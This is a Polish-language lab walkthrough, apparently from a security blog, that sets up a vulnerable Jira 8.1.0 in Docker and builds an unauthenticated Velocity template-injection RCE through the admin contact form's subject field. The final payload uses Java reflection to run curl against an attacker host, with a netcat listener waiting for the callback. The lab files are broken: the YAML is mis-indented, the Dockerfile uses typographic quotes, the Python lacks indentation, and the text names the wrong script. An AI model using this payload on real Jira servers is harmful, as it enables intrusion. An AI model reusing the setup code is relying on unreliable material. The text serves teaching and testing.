W poprzednim artykule dotyczącym oprogramowania JIRA pokazaliśmy w jaki sposób można testować swoją instancję tego oprogramowania pod kątem historycznie występujących podatności. Dziś omówimy szczegółowo jedną z ciekawszych z nich – nieuwierzytelnione, zdalne wykonanie kodu poprzez podatny tytuł formularza mailowego. Do tego celu posłużymy się publicznie dostępnym oprogramowaniem JIRA działającym w oparciu o kontener Docker – dzięki czemu, jeżeli chcesz, możesz to ćwiczenie wykonać także samodzielnie.

Podatność, o której opowiemy, spowodowana jest przez sposób w jaki aplikacja obsługuje operację wysyłania e-maili, w której użyto silnika szablonów Velocity.

Poprzez podwójną ewaluację zawartości tematu maila do administratora możliwe jest zmuszenie aplikacji do parsowania jego treści. Jest to podatność z rodzaju template / expression language injection. To znaczy, że:

  • Jeżeli funkcjonalność wysyłania maili do administratora jest włączona
  • To możemy wysłać maila o takim temacie, że spowoduje to przejęcie kontroli nad serwerem czyli dojdzie do RCE (zdalnego wykonania kodu)

W dalszej części artykułu opiszemy jak pobrać i skonfigurować środowisko do tego ćwiczenia. Jeżeli nie chcesz go wykonywać, a po prostu zobaczyć jak przebiega proces exploitacji, to możesz od razu przejść do sekcji „Exploit development”.

Podczas replikowania procesu odkrycia tej podatności niezwykle ważne będzie debugowanie całego procesu, ponieważ jest exploit typu blind. O ile w przypadku naszego ćwiczenia możemy śledzić output serwera SMTP i modyfikować odpowiednio exploit, o tyle w przypadku testu penetracyjnego na nieznanym środowisku, przygotowanie takiego ataku mogłoby wymagać:

  • podłączenia Jiry do kontrolowanego przez siebie serwera SMTP, jeżeli scenariusz to dopuszcza, lub
  • próby odtworzenia środowiska, które atakujemy, i po napisaniu pełnego exploita próba uruchomienia go przeciwko naszemu celowi

Konfiguracja środowiska – DYI

Aby uruchomić środowisko testowe na swoim systemie, musisz mieć zainstalowaną usługę Docker Compose. Do uruchomienia podatnej instancji JIRA skorzystamy i diagnostyki jej skorzystamy z trzech plików. Utworzymy je w osobnym folderze:

docker-compose.yml

version: "2"

services:
    jira:
      image: vulhub/jira:8.1.0
      ports:
        - "8080:8080"
    links:
      - smtpd

    smtpd:
      build:
        context: .
          dockerfile: smtpd.Dockerfile

smtpd.Dockerfile

FROM python:3.6-alpine3.9

COPY smtpd_server.py /smtpd_server.py

CMD [„python”, „/smtpd_server.py”]

EXPOSE 1025

smtpd_server.py

import smtpd
import asyncore,sys,time

class CustomSMTPServer(smtpd.SMTPServer):

def process_message(self, peer, mailfrom, rcpttos, data, **kwargs):
    r = data.decode("utf-8").split("\n")
    for l in r:
        if l.startswith("Subject:"):
            sys.stdout.write("[{0}] {1}\n".format(time.time(),l))
            sys.stdout.flush()
    return

# server = smtpd.DebuggingServer(('0.0.0.0', 1025), None)
server = CustomSMTPServer(('0.0.0.0', 1025), None)

sys.stdout.write("[+] Start SMTPServer on 0.0.0.0:1025\n")
sys.stdout.flush()

asyncore.loop()

Poniżej widok wspomnianych plików umieszczonych w jednym katalogu:

Aby uruchomić Jira, wykonaj komendę (z podniesionymi uprawnieniami)

docker-compose up -d

Potwierdzamy, że wszystko działa przy pomocy

docker ps

Jeżeli podczas startu pojawia się błąd dotyczący zajętego portu, upewnij się, że żadna działająca usługa nie nasłuchuje na porcie 8080. Jeżeli tak jest, zrestartuj ją i spróbuj ponownie.

Następnie przy pomocy ifconfig sprawdzamy nasz adres IP. Na maszynie atakującej wybieramy adres IP i port 8080. W tej sposób uzyskujemy dostęp do aplikacji JIRA.

Przejdźmy teraz do konfiguracji instancji JIRA, aby uzyskać tymczasową licencję, która pozwoli nam na używanie oprogramowania przez krótki czas potrzebny na wykonanie ćwiczenia.

Odwiedzamy adres http://127.0.0.1:8080

Wybierz opcję “Set it up for me” a następnie utwórz nowe konto. Teraz musisz potwierdzić swój adres e-mail. W ekranie potwierdzania konta e-mail wybierz “New Trial License”

Wybierz “Jira Server”

W tym kroku musisz podać “Server ID”. Aby to zrobić, odwiedź stronę lokalnej instancji Jira (http://127.0.0.1:8080) którą właśnie utworzyłeś. Jeżeli będzie się trzeba zalogować, skorzystaj z swojego e-maila i hasła, którego używaliśmy w poprzednim kroku. Server ID będzie już uzupełniony automatycznie. Wybierz opcję Jira Server, a następnie “Generate License”. Potwierdź ponownie dialog box:

Twoja instancja Jira jest aktywna! Czas na utworzenie konta administratora.

Następnie program skonfiguruje się, co może potrwać kilka do kilkunastu minut.

Zaloguj się do instancji JIRA. Użyj poświadczeń użytkownika lokalnego, a nie tych, które były użyte do aktywacji licencji. Wybierz język jaki chcesz, ustawienie awatara możesz pominąć. Następnie przejdź pod adres

http://127.0.0.1:8080/secure/Dashboard.jspa

Przejdziemy teraz do ostatniego kroku – aktywacji formularza kontaktowego, który w tej wersji Jira jest podatny.

  • Wybierz ikonę ustawień w prawym górnym rogu i wejdź w “System”
  • W zakładce General Configuration wybierz “Edit Settings”

  • Przejdź do sekcji “Contact Administrators Form” na dole strony.

Zanim będziemy mogli ustawić opcję “ON”, potrzebujemy serwera SMTP – ponieważ JIRA musi upewnić się że mamy skąd wysyłać maile kontaktowe. Kliknij na podświetlony wyraz “Configure” i otwórz link w nowej karcie. Wybierz “Configure new SMTP mail server”.

  • W katalogu JIRA uruchom skrypt smtp.py, a następnie uzupełnij formularz.

Oczywiście, możesz chcieć ustawić serwer SMTP na innej maszynie – nie ma to znaczenia, pamiętaj tylko, aby adres IP na którym nasłuchuje serwer oraz ten podany w formularzu były identyczne. Serwera SMTP będziemy używali go do diagnostyki podatności, więc najważniejsze, aby adres IP serwera był dostępny z maszyny na której zainstalowana jest podatne oprogramowanie.

  • Wybieramy “Add”. Następnie wracamy do Edycji Konfiguracji i odświeżamy stronę. Tym razem można już włączyć kontakt z administratorami.

Przechodzimy na dół strony i wybieramy “Update”. Gotowe! Czas wylogować się i przejść do eksploitacji. Odwiedzamy więc IP naszej instancji Jira. W fazie eksploitacji użyjemy innej maszyny do przeprowadzenia ataku, jednak możesz też użyć lokalnej maszyny, gdyż nie wpłynie to na wynik ćwiczenia.

Exploit Development

Główny ekran aplikacji umożliwia kontakt z administratorami – poprzez wysłanie im wiadomości e-mail. Mówi o tym komunikat zaznaczony czerwoną ramką.

Zanim przejdziemy dalej, sprawdzamy, czy serwer SMTP dalej działa. Będzie na nim widać przetworzone e-maile, w tym efekty wykonania się kodu. Po kliknięciu w link „Jira administrators” naszym oczom ukazuje się taki oto formularz kontaktowy:

Wiemy, że podatne jest pole tematu. I tutaj pojawia się pierwsza niespodzianka: nie mamy do dyspozycji standardowego payloadu template injection ${5*5} – naszym punktem wejścia jest zmienna $i18n 

Spróbujmy wysłać e-maila o takim temacie.

$i18n.getClass()

Możemy zobaczyć, że ta konkretna nazwa powoduje ewaluację wyrażenia, natomiast ta sama nazwa z literówką nie powoduje wykonania kodu. Output serwera SMTP zawiera wysłane przez nas payloady:

Pierwsza linijka oznacza, że wykonany został kod Java – doszło do zwrócenia wyniku metody getClass() – zmienna $i18n jest typem com.atlassian.jira.i18n.BackingI18n

Posiadając dostęp do obiektu języka Java, możemy spróbować wywołać różne metody. Posługując się refleksją (reflection), możemy wywoływać metody danego obiektu rekursywnie, co z kolei umożliwi wykonanie kodu wychodząc od zmiennej $i18n.

metoda getClass() zwraca nam dostęp do aktualnej klasy danego obiektu. Logi serwera SMTP pokazują wynik tej operacji – klasa to com.atlassian.jira.i18n.BackingI18n

Nazwa klasy tłumaczy nam specyficzną nazwę “$i18n” – jest to jeden z jej obiektów.

Dalsza część eksploitacji obejmuje użycie refleksji do „zamiany” aktualnej klasy na zupełnie inną – jest to specyficzna właściwość reflection API, która jest bardzo często używana w eksploitach na aplikacje Java.

Obiekt typu class ma dostęp do interesującej metody – forName(). Metoda ta zwraca obiekt typu klasa podana w argumencie. Oznacza to, że możemy dokonać konwersji aktualnego obiektu do obiektu innej klasy – np. java.lang.Runtime. Spróbujmy więc wysłać kolejnego e-maila o temacie:

$i18n.getClass().forName('java.lang.Runtime')

Obserwując logi serwera SMTP możemy zauważyć, że nasz payload zwraca teraz obiekt klasy java.lang.Runtime.

Jest to o tyle ważne, że klasa java.lang.Runtime, o ile nie wprowadzono żadnych ograniczeń, daje dostęp do metody np. exec(), której nazwa mówi sama za siebie – istnieje możliwość wykonania kodu na systemie operacyjnym.

W klasycznej składni Javy, aby wykonać polecenie na systemie operacyjnym, używamy konstruktu

java.lang.Runtime.getRuntime().exec(“command”) – oczywiście, są jeszcze inne metody np. java.lang.ProcessBuilder(“name”).start(). 

Aktualnie skupimy się na Runtime.exec(), jednak warto mieć na uwadze, że nie jest to jedyna metoda wykonania kodu w Java. Jeżeli podczas exploitacji Javy z jakichś przyczyn nie mamy dostępu to tej klasy, wtedy użycie klas alternatywnych może być bardzo pomocne.

Nie zapominajmy też o “Exploit primitives” czyli read i write – nawet, jeżeli exploit w Java nie jest w stanie dać nam wykonania kodu bezpośrednio, często będzie istniała możliwość odczytu bądź zapisu z oraz do newralgicznych lokalizacji (webroot, klucze ssh, pliki konfiguracyjne etc. )

Jednak to jeszcze nie koniec – nie możemy teraz dopisać po prostu .getRuntime.exec(“”) i odhaczyć krytyczną podatność. Użycie refleksji wymaga konsekwencji – cały payload musi być kompatybilny z jej składnią. Zatem, aby korzystając z refleksji wykonać kod, dopisujemy kolejny fragment dający nam dostęp do metody getRuntime()w następujący sposób

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null)

Po wysłaniu kolejnego maila z exploitem w temacie, możemy zaobserwować zmianę w logach:

Aby sfinalizować nasz payload, potrzebna będzie metoda invoke() – jest to sposób przewidziany na wywoływanie metod w składni refleksji.

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl 192.168.139.214:8000//RCE//').waitFor()

Ustawiamy listener netcata na podany host/port. Po chwili możemy spodziewać się połączenia zwrotnego. Funkcja waitFor() ma za zadanie powstrzymać aktualny wątek przed zakończenie, dzięki czemu nasze połączenie nie zostanie od razu zerwane.

W ten oto sposób możliwe jest wykonanie kodu na podatnej instancji JIRA przez nieuwierzytelnionego użytkownika, jeżeli jest ona w starej, podatnej wersji oraz formularz kontaktowy jest włączony.

P.S. Dodatkowo, linkujemy także pełne opracowanie tej podatności wraz ze szczegółowym opisem i debuggingiem tzw. root cause (trzeba użyć translatora z chińskiego – chyba, że ktoś zna 🙂 )